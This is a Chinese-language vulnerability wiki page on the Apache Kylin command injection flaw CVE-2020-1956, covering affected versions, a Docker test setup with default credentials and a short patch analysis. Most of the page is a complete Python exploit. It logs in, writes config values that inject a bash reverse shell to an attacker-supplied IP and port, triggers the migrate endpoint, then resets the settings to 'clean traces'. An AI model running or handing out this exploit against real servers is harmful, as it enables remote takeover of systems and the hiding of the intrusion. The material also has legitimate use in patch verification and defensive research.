Apache Kylin 命令注入漏洞 CVE-2020-1956

漏洞描述

2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133

Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP**)等功能。

影响版本

Apache Kylin 2.3.0 ~ 2.3.2

Apache Kylin 2.4.0 ~ 2.4.1

Apache Kylin 2.5.0 ~ 2.5.2

Apache Kylin 2.6.0 ~ 2.6.5

Apache Kylin 3.0.0-alpha, Apache Kylin 3.0.0-alpha2, Apache Kylin 3.0.0-beta, Apache Kylin 3.0.0, Kylin 3.0.1

环境搭建

这里使用 docker 来搭建需要的环境

Kylin官方文档

docker pull apachekylin/apache-kylin-standalone:3.0.1

如果服务器内存较小,可不选择 -m 8G 参数

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功

漏洞分析

查看这个漏洞修复的补丁

查看地址

由此可以得出我们可以通过这两个可控的参数,执行任意我们需要的命令,例如反弹一个shell,设置的配置为

kylin.tool.auto-migrate-cube.enabled=true

kylin.tool.auto-migrate-cube.src-config=echo;bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1

kylin.tool.auto-migrate-cube.dest-config=shell

再去发送POST请求 /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate

成功反弹一个shell

漏洞利用POC

POC利用前提是拥有账号密码,默认账号密码是 admin/KYLIN

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import requests
import base64
import sys


def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: Apache Kylin <= 3.0.1                                    \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2020-1956                                    \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:7070                            \033[0m')
    print('+  \033[36mLogin  >>> admin:KYLIN(格式为User:Pass)                            \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    login_url = target_url + "/kylin/api/user/authentication"
    user_pass = str(input("\033[35mPlease input User and Pass\nLogin >>> \033[0m"))

    Authorization = "Basic " + str((base64.b64encode(user_pass.encode('utf-8'))),'utf-8')
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Authorization": Authorization,
        "Cookie": "project=null"
    }
    try:
        response = requests.post(url=login_url, headers=headers, timeout=20)
        if "password" not in response.text:
            print("\033[31m[x] 账号密码出现错误 \033[0m")
            sys.exit(0)
        else:
            print("\033[32m[o] 成功登录,获得JSESSIONID:" + response.cookies["JSESSIONID"] + "\033[0m")
            return response.cookies["JSESSIONID"],Authorization
    except:
        print("\033[31m[x] 漏洞利用失败\033[0m")
        sys.exit(0)

def POC_2(target_url, cookie, IP, PORT, Authorization):
    config_url = target_url + "/kylin/api/admin/config"

    key = ["kylin.tool.auto-migrate-cube.enabled","kylin.tool.auto-migrate-cube.src-config","kylin.tool.auto-migrate-cube.dest-config"]
    value = ["true","echo;bash -i >& /dev/tcp/{}/{} 0>&1;echo".format(IP, PORT), "shell"]

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Authorization": Authorization,
        "Accept": "application/json, text/plain, */*",
        "Content-Type": "application/json;charset=UTF-8",
        "Pragma": "no-cache",
        "Cookie": "project=null;JSESSIONID="+cookie
    }
    for i in range(0,3):
        data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
        try:
            response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
            if response.status_code == 200:
                print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
            else:
                print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
                sys.exit(0)
        except:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
            sys.exit(0)

def POC_3(target_url, cookie):
    print("\033[35m[o] 正在反弹shell......\033[0m")
    vuln_url = target_url + "/kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie": "project=null;JSESSIONID=" + cookie
    }
    try:
        response = requests.post(url=vuln_url, headers=headers)
        POC_4(target_url, cookie)
    except:
        print("\033[31m[x] 漏洞利用失败 \033[0m")
        sys.exit(0)

def POC_4(target_url, cookie):
    config_url = target_url + "/kylin/api/admin/config"

    key = ["kylin.tool.auto-migrate-cube.enabled", "kylin.tool.auto-migrate-cube.src-config",
           "kylin.tool.auto-migrate-cube.dest-config"]
    value = ["flase", "echo;echo;echo", "None"]

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Authorization": Authorization,
        "Accept": "application/json, text/plain, */*",
        "Content-Type": "application/json;charset=UTF-8",
        "Pragma": "no-cache",
        "Cookie": "project=null;JSESSIONID=" + cookie
    }

    for i in range(0,3):
        data = """{"key":"%s","value":"%s"}""" % (key[i], value[i])
        try:
            response = requests.put(url=config_url, headers=headers, data=data, timeout=20)
            if response.status_code == 200:
                print("\033[32m[o] 成功将" + key[i] +"设置为" + value[i] +"\033[0m")
            else:
                print("\033[31m[x] 设置" + key[i] +"为" + value[i] +"失败\033[0m")
                sys.exit(0)
        except:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
            sys.exit(0)
    print("\033[35m[o] 成功清理痕迹\033[0m")


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    try:
        cookie,Authorization = POC_1(target_url)
    except:
        print("\033[31m[x] 漏洞利用失败 \033[0m")
        sys.exit(0)
    IP = str(input("\033[35m请输入监听IP   >>> \033[0m"))
    PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
    POC_2(target_url, cookie, IP, PORT, Authorization)
    POC_3(target_url, cookie)

参考文章

Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

Last updated

Was this helpful?